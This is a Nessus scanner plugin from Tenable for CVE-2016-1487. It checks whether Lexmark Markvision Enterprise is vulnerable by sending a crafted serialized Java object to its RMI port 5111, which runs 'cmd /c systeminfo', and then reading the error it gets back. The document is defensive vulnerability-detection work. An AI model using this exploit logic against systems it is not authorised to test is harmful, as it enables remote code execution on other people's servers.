Lexmark Markvision Enterprise Java Object Deserialization RCE

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(88807);
  script_version("1.7");
  script_cvs_date("Date: 2019/11/19");

  script_cve_id("CVE-2016-1487");
  script_xref(name:"CERT", value:"576313");

  script_name(english:"Lexmark Markvision Enterprise Java Object Deserialization RCE");
  script_summary(english:"Sends an unexpected Java object to the server.");

  script_set_attribute(attribute:"synopsis", value:
"The remote Lexmark Markvision Enterprise server is affected by a
remote code execution vulnerability");
  script_set_attribute(attribute:"description", value:
"The remote Lexmark Markvision Enterprise server is affected by a
remote code execution vulnerability due to unsafe deserialize calls of
unauthenticated Java objects to the Apache Commons Collections (ACC)
library. An unauthenticated, remote attacker can exploit this, by
sending a specially crafted serialized Java object via the RMI
interface, to execute arbitrary code with the privileges of the
application.");
  # http://support.lexmark.com/index?page=content&id=TE747&locale=EN&userlocale=EN_US
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f7915225");
  # https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9c6d83db");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Lexmark Markvision Enterprise version 2.3.0 or later.
Alternatively, contact the vendor for a workaround.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"in_the_news", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/02/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/02/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:lexmark:markvision");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("lexmark_markvision_enterprise_detect.nasl");
  script_require_keys("www/lexmark_markvision_enterprise");
  script_require_ports(5111);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("install_func.inc");
include("byte_func.inc");
include("audit.inc");
include("rmi.inc");

appname = "Lexmark Markvision Enterprise";
get_install_count(app_name:"lexmark_markvision_enterprise", exit_if_zero:TRUE);

# We know MVE is installed so attempted to connect to the RMI registry on
# the non-standard port 5111.
port = 5111;
soc = rmi_connect(port:port);

# Because this is a non-standard port we'll register the service here
register_service(ipproto:"tcp", proto:"rmi_registry", port:port);

# Due to the nature of this exploit, we can't see the result
# of the commands we execute. However, successful execution of
# our command will always result in a specific class cast exception
# being sent back to us. This object executes the command
# cmd /c systeminfo and we look for the failed cast to verify it executed.
request = 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send(socket:soc, data:request);

res = recv(socket:soc, length:0x300, min:0x200);
close(soc);

if (isnull(res) || "Integer cannot be cast to java.util.Set" >!< res) audit(AUDIT_INST_VER_NOT_VULN, appname);

report =
  '\nNessus was able to exploit a Java deserialization vulnerability by' +
  '\nsending a crafted Java object.' +
  '\n';
security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);